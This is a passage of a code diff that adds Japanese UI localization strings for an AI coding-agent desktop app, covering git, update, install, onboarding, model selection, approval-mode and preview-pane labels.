+      viewAsTree: 'ツリー表示',
+      viewAsList: 'リスト表示',
+      revert: '取り消し',
+      revertAll: 'すべて取り消し',
+      revertConfirm: 'このファイルの変更を破棄してコミット済みの状態に戻しますか？この操作は元に戻せません。',
+      revertAllConfirm: 'すべての変更を破棄してコミット済みの状態に戻しますか？この操作は元に戻せません。',
+      staged: 'ステージ済み',
+      noChanges: '変更なし',
+      notRepo: 'Git リポジトリではありません',
+      noDiff: '表示する差分がありません',
+      scopeUncommitted: '未コミット',
+      scopeBranch: 'ブランチ',
+      scopeLastTurn: '前のターン',
+      commit: 'コミット',
+      commitAndPush: 'コミットしてプッシュ',
+      commitPlaceholder: 'メッセージ（⌘↵ でコミット）',
+      generateCommitMessage: 'コミットメッセージを生成',
+      stopGenerating: '生成を停止',
+      createPr: 'PR を作成',
+      openPr: 'PR を開く',
+      ghMissing: 'PR を開くには GitHub CLI (gh) をインストールしてサインインしてください',
+      agentShip: 'ClawCodex にコミットと PR を任せる',
+      agentShipPrompt:
+        '現在の変更を確認し、分かりやすい Conventional Commits 形式でコミットし、ブランチをプッシュして、プルリクエストを作成してください。',
+      newBranch: '新しいブランチ',
+      branchOffFrom: base => `${base} から新しいブランチ`,
+      switchTo: branch => `${branch} に切り替え`,
+      switchFailed: branch => `${branch} に切り替えできませんでした`,
+      worktrees: 'ワークツリー'
+    }
+  },
+
+  updates: {
+    stages: {
+      idle: '準備中…',
+      prepare: '準備中…',
+      fetch: 'ダウンロード中…',
+      pull: 'もうすぐ完了…',
+      pydeps: '仕上げ中…',
+      update: 'ClawCodex を更新中…',
+      rebuild: 'デスクトップアプリを再ビルド中…',
+      restart: 'ClawCodex を再起動中…',
+      done: '更新が完了しました',
+      manual: 'ターミナルから更新',
+      guiSkew: 'デスクトップアプリを更新してください',
+      error: '更新が一時停止中'
+    },
+    checking: '更新を確認中…',
+    checkFailedTitle: '更新を確認できませんでした',
+    tryAgain: '再試行',
+    notAvailableTitle: '更新は利用できません',
+    unsupportedMessage: 'このバージョンの ClawCodex はアプリ内から自分を更新できません。',
+    connectionRetry: '接続を確認してもう一度試してください。',
+    latestBody: '最新バージョンを実行しています。',
+    latestBodyBackend: 'バックエンドは最新バージョンを実行しています。',
+    allSetTitle: '準備完了',
+    availableTitle: '新しい更新が利用可能',
+    availableBody: '新しいバージョンの ClawCodex をインストールする準備ができています。',
+    availableTitleBackend: 'バックエンドの更新があります',
+    availableBodyBackend: '接続中の ClawCodex バックエンドの新しいバージョンをインストールできます。',
+    availableBodyNoChangelog:
+      '新しいバージョンを利用できます。このインストール形式ではリリースノートは表示できません。',
+    updateNow: '今すぐ更新',
+    maybeLater: '後で',
+    moreChanges: count => `さらに ${count} 件の変更が含まれています。`,
+    manualTitle: 'ターミナルから更新',
+    manualBody:
+      'ClawCodex をコマンドラインからインストールしたため、更新もそこで実行されます。これをターミナルに貼り付けてください:',
+    manualPickedUp: 'ClawCodex は次回起動時に新しいバージョンを読み込みます。',
+    guiSkewTitle: 'デスクトップアプリを更新してください',
+    guiSkewBody:
+      'バックエンドは更新されましたが、このデスクトップアプリのパッケージは変更されていません。一致させるために ClawCodex デスクトップアプリ（AppImage / .deb / .rpm）を更新または再インストールしてください。',
+    copy: 'コピー',
+    copied: 'コピーしました',
+    done: '完了',
+    applyingBody:
+      'ClawCodex アップデーターが独自のウィンドウで引き継ぎ、完了後に自動的に ClawCodex を再度開きます。更新中はご自分で ClawCodex を開き直さないでください。',
+    applyingBodyBackend: 'リモートバックエンドが更新を適用して再起動します。復帰すると ClawCodex が自動的に再接続します。',
+    applyingClose: 'このウィンドウは更新中に閉じ、その後 ClawCodex が自動的に再度開きます。',
+    errorTitle: '更新が完了しませんでした',
+    errorBody: 'ご安心ください。何も失われていません。今すぐ再試行できます。',
+    notNow: '今は後で',
+    applyStatus: {
+      preparing: 'バックエンドを更新しています…',
+      pulling: 'バックエンドを更新中…',
+      restarting: 'バックエンドが更新を読み込むため再起動しています…',
+      notAvailable: 'このバックエンドでは更新を利用できません。',
+      failed: 'バックエンドの更新に失敗しました。',
+      noReturn:
+        'バックエンドがオンラインに戻りませんでした。更新が完了していない可能性があります。バックエンドホストを確認してください。'
+    }
+  },
+
+  install: {
+    stageStates: {
+      pending: '待機中',
+      running: 'インストール中',
+      succeeded: '完了',
+      skipped: 'スキップ',
+      failed: '失敗'
+    },
+    oneTimeTitle: 'ClawCodex には一度限りのインストールが必要です',
+    unsupportedDesc: platform =>
+      `${platform} では自動の初回インストールはまだ利用できません。ターミナルを開いて以下のコマンドを実行し、このアプリを再起動してください。以降の起動ではこの手順はスキップされます。`,
+    installCommand: 'インストールコマンド',
+    copyCommand: 'コマンドをコピー',
+    viewDocs: 'インストールドキュメントを見る',
+    installTo: 'インストール先',
+    retryAfterRun: '実行しました — 再試行',
+    setupChoiceTitle: 'ClawCodex Desktop をセットアップ',
+    setupChoiceDesc:
+      'すでに実行している ClawCodex ゲートウェイに接続するか、このコンピューターに ClawCodex をローカルインストールします。',
+    connectExistingTitle: '既存の ClawCodex に接続',
+    connectExistingShort: '既存環境に接続',
+    connectExistingDesc:
+      'セッショントークンまたはブラウザーサインインでリモートバックエンドを使用します。ローカルインストールは開始されません。',
+    installLocalTitle: 'ClawCodex をローカルにインストール',
+    installLocalDesc: 'ClawCodex をダウンロードし、Python 環境を作成して、このコンピューターでバックエンドを実行します。',
+    localStartUnavailable:
+      'ローカルインストールを開始できません。ClawCodex Desktop を再起動して、もう一度お試しください。',
+    remoteSetupTitle: '既存の ClawCodex に接続',
+    remoteSetupDesc:
+      'ゲートウェイ URL を入力してください。ClawCodex Desktop がトークンとブラウザーサインインのどちらが必要かを検出します。',
+    remoteUrlTitle: 'ゲートウェイ URL',
+    remoteUrlDesc: 'ClawCodex ゲートウェイのベース URL を使用します。リモートの場合は https:// を含めてください。',
+    remoteUrlPlaceholder: 'https://gateway.example.com/clawcodex',
+    probing: 'ゲートウェイ認証方式を検出中...',
+    probeError: 'その ClawCodex ゲートウェイに到達できませんでした。',
+    identityProvider: 'ID プロバイダー',
+    authTitle: '認証',
+    authNeedsOauth: provider => `このゲートウェイをテストする前に ${provider} でサインインしてください。`,
+    authSignedIn: 'ブラウザーサインインが完了しました。',
+    connected: '接続済み',
+    signIn: 'サインイン',
+    signInWith: provider => `${provider} でサインイン`,
+    enterUrlFirst: '先にゲートウェイ URL を入力してください。',
+    signInIncomplete: '認証が完了する前にサインインウィンドウが閉じられました。',
+    tokenTitle: 'セッショントークン',
+    tokenDesc: 'リモートゲートウェイの .env ファイルからセッショントークンを貼り付けます。',
+    pasteSessionToken: 'セッショントークンを貼り付け',
+    incompleteSignInTest: 'OAuth で保護されたこのゲートウェイをテストする前にサインインしてください。',
+    incompleteTokenTest: 'このゲートウェイをテストする前にセッショントークンを入力してください。',
+    testConnection: '接続をテスト',
+    testSucceeded: (baseUrl, version) => `${baseUrl}${version ? ` (${version})` : ''} に接続しました。`,
+    applyRemote: '適用して再接続',
+    backToSetup: '戻る',
+    failedTitle: 'インストールに失敗しました',
+    settingUpTitle: 'ClawCodex を設定中',
+    finishingTitle: '仕上げ中',
+    failedDesc:
+      'インストール手順のいずれかが失敗しました。Windows では、別の ClawCodex CLI またはデスクトップインスタンスが実行中の場合に発生することがあります。実行中の ClawCodex インスタンスをすべて停止してから再試行してください。詳細は以下またはデスクトップログで確認できます。',
+    activeDesc:
+      'これは一回限りのセットアップです。ClawCodex インストーラーが依存関係をダウンロードしてマシンを設定しています。以降の起動ではこの手順はスキップされます。',
+    progress: (completed, total) => `${total} ステップ中 ${completed} 完了`,
+    currentStage: stage => ` — 現在: ${stage}`,
+    fetchingManifest: 'インストーラーマニフェストを取得中...',
+    error: 'エラー',
+    hideOutput: 'インストーラーの出力を非表示',
+    showOutput: 'インストーラーの出力を表示',
+    lines: count => `${count} 行`,
+    noOutput: 'まだ出力がありません。',
+    cancelling: 'キャンセル中...',
+    cancelInstall: 'インストールをキャンセル',
+    transcriptSaved: 'フルトランスクリプトを保存しました:',
+    copiedOutput: 'コピーしました！',
+    copyOutput: '出力をコピー',
+    reloadRetry: '再読み込みして再試行'
+  },
+
+  onboarding: {
+    headerTitle: 'ClawCodex のセットアップをしましょう',
+    headerDesc: 'チャットを始めるにはモデルプロバイダーを接続してください。ほとんどのオプションはワンクリックです。',
+    preparingInstall: 'ClawCodex はインストールを完了中です。初回実行では通常 1 分以内に完了します。',
+    starting: 'ClawCodex を起動中…',
+    lookingUpProviders: 'プロバイダーを検索中...',
+    collapse: '折りたたむ',
+    otherProviders: 'その他のプロバイダー',
+    haveApiKey: 'API キーをお持ちです',
+    chooseLater: '後でプロバイダーを選択します',
+    recommended: '推奨',
+    connected: '接続済み',
+    featuredPitch: '1 つのサブスクリプションで 300 以上の最先端モデル — ClawCodex を実行するための推奨方法',
+    fireworksPitch: '直接モデル API — Fireworks がホストする最先端モデル',
+    openRouterPitch: '1 つのキーで数百のモデル — 堅実なデフォルト',
+    apiKeyOptions: {
+      fireworks: {
+        short: 'モデル API に直接接続',
+        description: 'Fireworks AI がホストするモデルに直接アクセスします。'
+      },
+      openrouter: {
+        short: '1 つのキーで多くのモデル',
+        description: '1 つのキーで数百のモデルをホスト。新規インストールのデフォルトとして最適。'
+      },
+      openai: { short: 'GPT クラスのモデル', description: 'OpenAI モデルへの直接アクセス。' },
+      gemini: { short: 'Gemini モデル', description: 'Google Gemini モデルへの直接アクセス。' },
+      xai: { short: 'Grok モデル', description: 'xAI Grok モデルへの直接アクセス。' },
+      local: {
+        short: 'セルフホスト',
+        description:
+          'ローカルまたはセルフホストの OpenAI 互換エンドポイント（vLLM、llama.cpp、Ollama など）に ClawCodex を接続。'
+      }
+    },
+    backToSignIn: 'サインインに戻る',
+    getKey: 'キーを取得',
+    replaceCurrent: '現在の値を置き換え',
+    pasteApiKey: 'API キーを貼り付け',
+    couldNotSave: '認証情報を保存できませんでした。',
+    connecting: '接続中',
+    update: '更新',
+    flowSubtitles: {
+      pkce: 'ブラウザーを開いてサインインし、ここに戻ります',
+      device_code: 'ブラウザーで確認ページを開きます — ClawCodex が自動接続します',
+      external: 'ターミナルで一度サインインして、チャットに戻ります'
+    },
+    startingSignIn: provider => `${provider} のサインインを開始中...`,
+    verifyingCode: provider => `${provider} でコードを確認中...`,
+    connectedProvider: provider => `${provider} が接続されました`,
+    connectedPicking: provider => `${provider} が接続されました。デフォルトモデルを選択中...`,
+    signInFailed: 'サインインに失敗しました。再試行してください。',
+    pickDifferentProvider: '別のプロバイダーを選択',
+    signInWith: provider => `${provider} でサインイン`,
+    openedBrowser: provider => `${provider} をブラウザーで開きました。`,
+    authorizeThere: 'そこで ClawCodex を承認してください。',
+    copyAuthCode: '認証コードをコピーして以下に貼り付けてください。',
+    pasteAuthCode: '認証コードを貼り付け',
+    reopenAuthPage: '認証ページを再度開く',
+    autoBrowser: provider =>
+      `${provider} をブラウザーで開きました。ClawCodex をそこで承認すれば自動接続されます。コピーや貼り付けは不要です。`,
+    reopenSignInPage: 'サインインページを再度開く',
+    waitingAuthorize: '承認を待っています...',
+    externalPending: provider =>
+      `${provider} は独自の CLI からサインインします。ターミナルでこのコマンドを実行してから、戻って「サインインしました」を選択してください:`,
+    signedIn: 'サインインしました',
+    deviceCodeOpened: provider => `${provider} をブラウザーで開きました。そこにこのコードを入力してください:`,
+    reopenVerification: '確認ページを再度開く',
+    copy: 'コピー',
+    defaultModel: 'デフォルトモデル',
+    freeTier: '無料プラン',
+    pro: 'Pro',
+    free: '無料',
+    price: (input, output) => `${input} 入力 / ${output} 出力 per Mtok`,
+    change: '変更',
+    startChatting: '始める',
+    docs: provider => `${provider} ドキュメント`
+  },
+
+  modelPicker: {
+    title: 'モデルを切り替え',
+    current: '現在:',
+    unknown: '(不明)',
+    search: 'プロバイダーとモデルをフィルター...',
+    noModels: 'モデルが見つかりません。',
+    addProvider: 'プロバイダーを追加',
+    loadFailed: 'モデルを読み込めませんでした',
+    noAuthenticatedProviders: '認証済みプロバイダーがありません。',
+    pro: 'Pro',
+    proNeedsSubscription: 'Pro モデルには有料の Nous サブスクリプションが必要です。',
+    free: '無料',
+    freeTier: '無料プラン',
+    priceTitle: '100 万トークンあたりの入力/出力価格',
+    wasPrice: '旧価格'
+  },
+
+  modelVisibility: {
+    title: 'モデル',
+    search: 'モデルを検索',
+    noAuthenticatedProviders: '認証済みプロバイダーがありません。',
+    addProvider: 'プロバイダーを追加…'
+  },
+
+  shell: {
+    windowControls: 'ウィンドウコントロール',
+    paneControls: 'ペインコントロール',
+    appControls: 'アプリコントロール',
+    modelMenu: {
+      search: 'モデルを検索',
+      noModels: 'モデルが見つかりません',
+      editModels: 'モデルを編集…',
+      refreshModels: 'モデルを更新',
+      fast: '高速'
+    },
+    modelOptions: {
+      noOptions: 'このモデルにはオプションがありません',
+      options: 'オプション',
+      thinking: '思考',
+      fast: '高速',
+      effort: '努力度',
+      minimal: '最小',
+      low: '低',
+      medium: '中',
+      high: '高',
+      xhigh: '特高',
+      max: '最大',
+      ultra: 'ウルトラ',
+      updateFailed: 'モデルオプションの更新に失敗しました',
+      fastFailed: '高速モードの更新に失敗しました'
+    },
+    gatewayMenu: {
+      gateway: 'ゲートウェイ',
+      connected: '接続済み',
+      connecting: '接続中',
+      offline: 'オフライン',
+      inferenceReady: '推論準備完了',
+      inferenceNotReady: '推論準備未完了',
+      checkingInference: '推論を確認中',
+      disconnected: '切断済み',
+      openSystem: 'システムパネルを開く',
+      connection: label => `接続: ${label}`,
+      recentActivity: '最近のアクティビティ',
+      viewAllLogs: 'すべてのログを見る →',
+      messagingPlatforms: 'メッセージングプラットフォーム'
+    },
+    approvalMode: {
+      title: '承認モード',
+      ariaLabel: mode => `承認モード: ${mode}`,
+      manual: '手動',
+      manualDescription: '承認が必要な操作の前に確認します',
+      smart: 'スマート',
+      smartDescription: '必要な場合にのみ確認します',
+      off: 'オフ',
+      offDescription: '承認プロンプトなしで実行します'
+    },
+    statusbar: {
+      unknown: '不明',
+      restart: '再起動',
+      update: '更新',
+      updateInProgress: '更新中',
+      commitsBehind: (count, branch) => `${branch} より ${count} コミット遅れています`,
+      desktopVersion: version => `ClawCodex Desktop v${version}`,
+      backendVersion: version => `バックエンド v${version}`,
+      clientLabel: version => `クライアント v${version}`,
+      connectionSsh: host => `SSH: ${host}`,
+      connectionRemote: host => `リモート: ${host}`,
+      connectionCloud: host => `クラウド: ${host}`,
+      connectionCloudTooltip: host => `ClawCodex Cloud · ${host}`,
+      connectionSshTooltip: host => `SSH · ${host}`,
+      connectionRemoteTooltip: host => `Remote · ${host}`,
+      backendLabel: version => `バックエンド v${version}`,
+      commit: sha => `コミット ${sha}`,
+      branch: branch => `ブランチ ${branch}`,
+      closeCommandCenter: 'コマンドセンターを閉じる',
+      openCommandCenter: 'コマンドセンターを開く',
+      showTerminal: 'ターミナルを表示',
+      hideTerminal: 'ターミナルを非表示',
+      gateway: 'ゲートウェイ',
+      gatewayReady: '準備完了',
+      gatewayNeedsSetup: '設定が必要',
+      gatewayChecking: '確認中',
+      gatewayConnecting: '接続中',
+      gatewayOffline: 'オフライン',
+      gatewayRestarting: '再起動中…',
+      gatewayTitle: 'ゲートウェイ',
+      agents: 'エージェント',
+      closeAgents: 'エージェントを閉じる',
+      openAgents: 'エージェントを開く',
+      subagents: count => `${count} サブエージェント`,
+      failed: count => `${count} 失敗`,
+      running: count => `${count} 実行中`,
+      cron: 'Cron',
+      openCron: 'Cron ジョブを開く',
+      starmap: 'メモリグラフ',
+      openStarmap: 'メモリグラフを開く',
+      turnRunning: '実行中',
+      contextUsage: 'コンテキスト使用状況',
+      contextUsagePanel: {
+        categories: {
+          conversation: '会話',
+          mcp: 'MCP',
+          memory: 'メモリ',
+          rules: 'ルール',
+          skills: 'スキル',
+          subagent_definitions: 'サブエージェント定義',
+          system_prompt: 'システムプロンプト',
+          tool_definitions: 'ツール定義'
+        },
+        empty: 'コンテキストデータはまだありません',
+        loading: '内訳を読み込み中…',
+        percentFull: percent => `${percent}% 使用中`,
+        title: 'コンテキスト使用状況',
+        tokenSummary: (used, max) => `${used} / ${max} Tokens`
+      },
+      session: 'セッション',
+      yoloOn: 'YOLO オン — 危険なコマンドを自動承認中。Shift+クリックで全体に切り替え。',
+      yoloOff: 'YOLO オフ。Shift+クリックで全体に切り替え。',
+      modelNone: 'なし',
+      noModel: 'モデルなし',
+      switchModel: 'モデルを切り替え',
+      openModelPicker: 'モデルピッカーを開く',
+      modelPinned: '手動で固定中 — 新しいチャットは設定のデフォルトではなくこのモデルを使用します',
+      modelTitle: (provider, model) => `モデル · ${provider}: ${model}`,
+      providerModelTitle: (provider, model) => `${provider} · ${model}`
+    }
+  },
+
+  rightSidebar: {
+    aria: '右サイドバー',
+    panelsAria: '右サイドバーパネル',
+    files: 'ファイルシステム',
+    terminal: 'ターミナル',
+    noFolderSelected: 'フォルダーが選択されていません',
+    changeCwdTitle: '作業ディレクトリを変更',
+    remotePickerTitle: 'リモートフォルダーを選択',
+    remotePickerDescription: '接続中のバックエンド上のフォルダーを参照します。',
+    remotePickerSelect: 'フォルダーを選択',
+    folderTip: cwd => cwd,
+    openFolder: 'フォルダーを開く',
+    refreshTree: 'ツリーを更新',
+    collapseAll: 'すべてのフォルダーを折りたたむ',
+    previewUnavailable: 'プレビューは利用できません',
+    couldNotPreview: path => `${path} をプレビューできませんでした`,
+    noProjectTitle: 'プロジェクトなし',
+    noProjectBody: 'プロジェクトを開くと、ファイルの閲覧と変更の確認ができます。',
+    noProjectOpen: 'プロジェクト未選択',
+    noDiffs: '差分なし',
+    unreadableTitle: '読み取り不可',
+    unreadableBody: error => `このフォルダーを読み取れませんでした (${error})。`,
+    emptyTitle: '空',
+    emptyBody: 'このフォルダーは空です。',
+    treeErrorTitle: 'ツリーエラー',
+    treeErrorBody: 'ファイルツリーがこのフォルダーのレンダリング中にエラーが発生しました。',
+    tryAgain: '再試行',
+    loadingTree: 'ファイルツリーを読み込み中',
+    loadingFiles: 'ファイルを読み込み中',
+    terminalHide: 'ターミナルを非表示',
+    terminalsAria: 'ターミナル',
+    terminalNew: '新しいターミナル',
+    terminalCloseOthers: '他を閉じる',
+    terminalCloseAll: 'すべて閉じる',
+    addToChat: 'チャットに追加'
+  },
+
+  preview: {
+    tab: 'プレビュー',
+    closePane: 'プレビューペインを閉じる',
+    loading: 'プレビューを読み込み中',
+    unavailable: 'プレビューは利用できません',
+    opening: '開いています...',
+    hide: '非表示',
+    openPreview: 'プレビューを開く',
+    openInBrowser: 'ブラウザで開く',
+    linkHint: '⌘/Ctrl+クリックでプレビューペイン',
+    sourceLineTitle: 'クリックして選択 · Shift クリックで拡張 · コンポーザーにドラッグ',
+    source: 'ソース',
+    renderedPreview: 'プレビュー',
+    diff: '差分',
+    unknownSize: 'サイズ不明',
+    binaryTitle: 'これはバイナリファイルのようです',
+    binaryBody: label => `${label} をプレビューすると読み取り不能なテキストが表示される場合があります。`,
+    largeTitle: 'このファイルは大きいです',
+    largeBody: (label, size) => `${label} は ${size} です。ClawCodex は最初の 512 KB のみを表示します。`,
+    previewAnyway: 'とにかくプレビュー',
+    truncated: '最初の 512 KB を表示しています。',
+    noInlineTitle: 'インラインプレビューなし',
+    noInlineBody: mimeType => `${mimeType || 'このファイルタイプ'} はコンテキストとして添付できます。`,
+    edit: '編集',
+    editing: '編集中',
+    unsavedChanges: '未保存の変更',
+    saveFailed: message => `保存できませんでした：${message}`,
+    diskChangedTitle: 'ファイルがディスク上で変更されました',
+    diskChangedBody:
+      'このファイルは開いてから変更されています。あなたの版で上書きするか、編集を破棄して再読み込みしますか？',
+    overwrite: '上書き',
+    discardReload: '破棄して再読み込み',
+    console: {
+      deselect: 'エントリーの選択を解除',
+      select: 'エントリーを選択',
+      copyFailed: 'コンソール出力をコピーできませんでした',
+      copyEntry: 'このエントリーをコピー',
+      sendEntry: 'このエントリーをチャットに送信',
+      messages: count => `${count} 件のコンソールメッセージ`,
+      resize: 'プレビューコンソールのサイズ変更',
+      title: 'プレビューコンソール',
+      selected: count => `${count} 件選択`,
+      sendToChat: 'チャットに送信',
+      copySelected: '選択をクリップボードにコピー',
+      copyAll: 'すべてをクリップボードにコピー',
+      copy: 'コピー',
+      clear: 'クリア',
+      empty: 'コンソールメッセージはまだありません。',
+      promptHeader: 'プレビューコンソール:',
+      sentTitle: 'チャットに送信しました',
+      sentMessage: count => `${count} 件のログエントリーがコンポーザーに追加されました`
+    },
+    web: {
+      appFailedToBoot: 'プレビューアプリの起動に失敗しました',
+      serverNotFound: 'サーバーが見つかりません',
+      failedToLoad: 'プレビューの読み込みに失敗しました',
+      tryAgain: '再試行',
+      restarting: 'ClawCodex を再起動中...',
+      askRestart: 'ClawCodex にサーバーの再起動を依頼',
+      lookingRestart: taskId => `ClawCodex は再起動するプレビューサーバーを検索中です (${taskId})`,
+      restartingTitle: 'プレビューサーバーを再起動中',
+      restartingMessage: 'ClawCodex はバックグラウンドで作業中です。進捗はプレビューコンソールで確認してください。',
+      startRestartFailed: message => `サーバー再起動を開始できませんでした: ${message}`,
+      restartFailed: 'サーバーの再起動に失敗しました',
+      hideConsole: 'プレビューコンソールを非表示',
+      showConsole: 'プレビューコンソールを表示',
+      hideDevTools: 'プレビュー DevTools を非表示',
+      openDevTools: 'プレビュー DevTools を開く',
+      finishedRestarting: message =>
+        `ClawCodex がプレビューサーバーの再起動を完了しました${message ? `: ${message}` : ''}`,
+      failedRestarting: message => `サーバーの再起動に失敗しました: ${message}`,
+      unknownError: '不明なエラー',
+      restartedTitle: 'プレビューサーバーが再起動しました',
+      reloadingNow: 'プレビューを再読み込み中です。',
+      restartFailedTitle: 'プレビューの再起動に失敗しました',
+      restartFailedMessage: 'ClawCodex がサーバーを再起動できませんでした。',
+      stillWorking:
+        'ClawCodex はまだ作業中ですが、再起動の結果がまだ届いていません。サーバーコマンドがフォアグラウンドで実行されている可能性があります。',
+      workspaceReloading: 'ワークスペースが変更され、プレビューを再読み込み中',
+      fileChanged: url => `ファイルが変更され、プレビューを再読み込み中: ${url}`,
+      filesChanged: (count, url) => `${count} 件のファイルが変更され、プレビューを再読み込み中: ${url}`,
+      watchFailed: message => `プレビューファイルを監視できませんでした: ${message}`,
+      moduleMimeDescription:
+        'モジュールスクリプトが間違った MIME タイプで提供されています。通常、静的ファイルサーバーがプロジェクトの開発サーバーの代わりに Vite/React アプリを提供していることを意味します。',
+      loadFailedConsole: (code, message) => `読み込みに失敗しました${code ? ` (${code})` : ''}: ${message}`,
+      unreachableDescription: 'プレビューページに到達できませんでした。',
+      openTarget: url => `${url} を開く`,
+      fallbackTitle: 'プレビュー'
+    }
+  },
+
+  zones: {
+    showHeader: 'ヘッダーを表示',
+    hideHeader: 'ヘッダーを隠す',
+    minimize: '最小化',
+    restore: '復元',
+    reload: '再読み込み',
+    closeOthers: '他を閉じる',
+    closeToRight: '右側を閉じる',
+    closeAll: 'すべて閉じる',
+    newSessionTab: '新しいセッションタブ',
+    pluginDisabled: pluginId => `プラグイン「${pluginId}」を無効化しました`,
+    pluginDisabledBody: '設定 → プラグイン で再有効化するとペインが戻ります。',
+    missingPane: paneId => `ペインが見つかりません: ${paneId}`,
+    editTitle: 'レイアウト',
+    editHint: 'レイアウトを選ぶか、ペインをゾーン間へドラッグ。',
+    reset: 'リセット',
+    templates: 'テンプレート',
+    custom: 'カスタム',
+    newGridLayout: '新しいグリッドレイアウト',
+    saveCurrentAs: '現在の配置をテンプレートとして保存',
+    nameLayoutPlaceholder: 'レイアウト名を入力…',
+    deletePreset: name => `${name} を削除`,
+    zoneEditorTitle: 'ゾーンエディター',
+    editorHintPre: 'クリックで分割 · ',
+    editorHintPost: ' で線の向きを反転 · ゾーンをまたいでドラッグで結合 · 共有辺をドラッグでリサイズ',
+    templateColumns: '列',
+    templateRows: '行',
+    templateGrid: 'グリッド',
+    templatePriority: '優先',
+    zoneTag: index => `ゾーン ${index}`,
+    mergeZones: count => `${count} 個のゾーンを結合`,
+    customZoneName: count => `カスタム ${count} ゾーン`,
+    layoutNamePlaceholder: fallback => `レイアウト名（${fallback}）`,
+    saveApply: '保存して適用',
+    notExpressible: 'この配置は互いに噛み合っています（風車型）— 入れ子の分割では表現できません',
+    zoneCount: count => `${count} ゾーン`,
+    tabCount: count => `${count} 個のタブ`
+  },
+
+  assistant: {
+    thread: {
+      loadingSession: 'セッションを読み込み中',
+      showEarlier: '以前のメッセージを表示',
+      loadingResponse: 'ClawCodex が応答を読み込み中',
+      resumeWhenBackgroundDone: count =>
+        count === 1
+          ? 'バックグラウンドタスクの完了後に再開します'
+          : `${count} 件のバックグラウンドタスクの完了後に再開します`,
+      thinking: '考え中',
+      thought: '思考済み',
+      thoughtBriefly: '少し思考',
+      thoughtFor: duration => `${duration} 思考`,
+      today: time => `今日 ${time}`,
+      yesterday: time => `昨日 ${time}`,
+      copy: 'コピー',
+      refresh: '更新',
+      moreActions: 'その他のアクション',
+      branchNewChat: '新しいチャットでブランチ',
+      react: 'リアクション',
+      dismissError: 'エラーを閉じる',
+      filesChanged: count => `${count} 件のファイルを変更`,
+      reviewChanges: 'レビュー',
+      readAloudFailed: '読み上げに失敗しました',
+      preparingAudio: '音声を準備中...',
+      stopReading: '読み上げを停止',
+      readAloud: '読み上げ',
+      editMessage: 'メッセージを編集',
+      stop: '停止',
+      restorePrevious: '前のチェックポイントに戻す',
+      restoreCheckpoint: 'チェックポイントを復元',
+      restoreFromHere: 'チェックポイントを復元 — このプロンプトから再実行',
+      restoreTitle: 'このチェックポイントに復元しますか？',
+      restoreBody: 'このプロンプト以降のメッセージは会話から削除され、ここからプロンプトが再実行されます。',
+      restoreConfirm: '復元して再実行',
+      restoreNext: '次のチェックポイントに戻す',
+      goForward: '進む',
+      sendEdited: '編集済みメッセージを送信',
+      attachingFile: '添付中…'
+    },
+    approval: {
+      gatewayDisconnected: 'ClawCodex ゲートウェイが接続されていません',
+      sendFailed: '承認応答を送信できませんでした',
+      run: '実行',
+      command: 'コマンド',
+      moreOptions: 'その他の承認オプション',
+      allowSession: 'このセッションで許可',
+      alwaysAllowMenu: '常に許可…',
+      jumpToApproval: '承認が必要',
+      reject: '拒否',
+      alwaysTitle: 'このコマンドを常に許可しますか？',
+      alwaysDescription: pattern =>
+        `これにより "${pattern}" パターンが永続的な許可リスト (~/.clawcodex/config.yaml) に追加されます。ClawCodex はこのセッションや将来のセッションで、このようなコマンドについて再度尋ねません。`,
+      alwaysAllow: '常に許可'
+    },
+    clarify: {
+      notReady: '明確化リクエストはまだ準備できていません',
+      gatewayDisconnected: 'ClawCodex ゲートウェイが接続されていません',
+      sendFailed: '明確化応答を送信できませんでした',
+      loadingQuestion: '質問を読み込み中…',
+      other: 'その他（回答を入力）',
+      placeholder: '回答を入力…',
+      skip: 'スキップ',
+      skipped: 'スキップ済み',
+      continueLabel: '続行',
+      lateAnswer: (question, choice) => `「${question}」について — 私の回答: ${choice}`,
+      lateAnswerTip: 'この回答をフォローアップメッセージとして下書きします',
+      lateAnswerHint: 'この質問はもう回答を待っていません。選択肢を選ぶとフォローアップメッセージとして下書きされます。'
+    },
+    tool: {
+      copyCode: 'コードをコピー',
+      renderingImage: '画像をレンダリング中',
+      copyOutput: '出力をコピー',
+      copyCommand: 'コマンドをコピー',
+      copyContent: 'コンテンツをコピー',
+      copyUrl: 'URL をコピー',
+      copyResults: '結果をコピー',
+      copyQuery: 'クエリをコピー',
+      copyFile: 'ファイルをコピー',
+      copyPath: 'パスをコピー',
+      outputAlt: 'ツール出力',
+      rawResponse: '生の応答',
+      copyActivity: 'アクティビティをコピー',
+      recoveredOne: '1 つの失敗したステップの後に回復しました',
+      recoveredMany: count => `${count} つの失敗したステップの後に回復しました`,
+      failedOne: '1 つのステップが失敗しました',
+      failedMany: count => `${count} つのステップが失敗しました`,
+      statusRunning: '実行中',
+      statusError: 'エラー',
+      statusRecovered: '回復しました',
+      statusDone: '完了',
+      memoryWriteNoted: 'メモリへの書き込みを記録',
+      actions: {
+        read: '読み取り完了',
+        reading: '読み取り中',
+        opened: 'オープン済み',
+        opening: 'オープン中',
+        failedToOpen: 'オープン失敗',
+        searched: '検索完了',
+        searching: '検索中',
+        ran: '実行完了',
+        running: '実行中',
+        ranCode: 'コード実行完了',
+        runningCode: 'スクリプト作成中'
+      },
+      prefixes: {
+        browser: 'ブラウザー',
+        web: 'Web'
+      },
+      titleTemplates: {
+        actionCommand: (action, command) => `${action} ${command}`,
+        actionQuoted: (action, value) => `「${value}」を${action}`,
+        actionTarget: (action, target) => `${target} を${action}`,
+        prefixedDone: (prefix, action) => `${prefix} ${action}`,
+        runningPrefixedTool: (prefix, action) => `${prefix} ${action}を実行中`,
+        runningTool: action => `${action}を実行中`
+      },
+      titles: {
+        browser_click: {
+          done: 'ページ要素をクリックしました',
+          pending: 'ページ要素をクリック中',
+          pendingAction: 'クリック中'
+        },
+        browser_fill: { done: 'フォーム欄に入力しました', pending: 'フォーム欄に入力中', pendingAction: '入力中' },
+        browser_navigate: { done: 'ページを開きました', pending: 'ページをオープン中', pendingAction: 'オープン中' },
+        browser_snapshot: {
+          done: 'ページスナップショットを取得しました',
+          pending: 'ページスナップショットを取得中',
+          pendingAction: '取得中'
+        },
+        browser_take_screenshot: {
+          done: 'スクリーンショットを取得しました',
+          pending: 'スクリーンショットを取得中',
+          pendingAction: '取得中'
+        },
+        browser_type: { done: 'ページに入力しました', pending: 'ページに入力中', pendingAction: '入力中' },
+        clarify: { done: '質問しました', pending: '質問中', pendingAction: '質問中' },
+        cronjob: { done: 'Cron ジョブ', pending: 'Cron ジョブをスケジュール中', pendingAction: 'スケジュール中' },
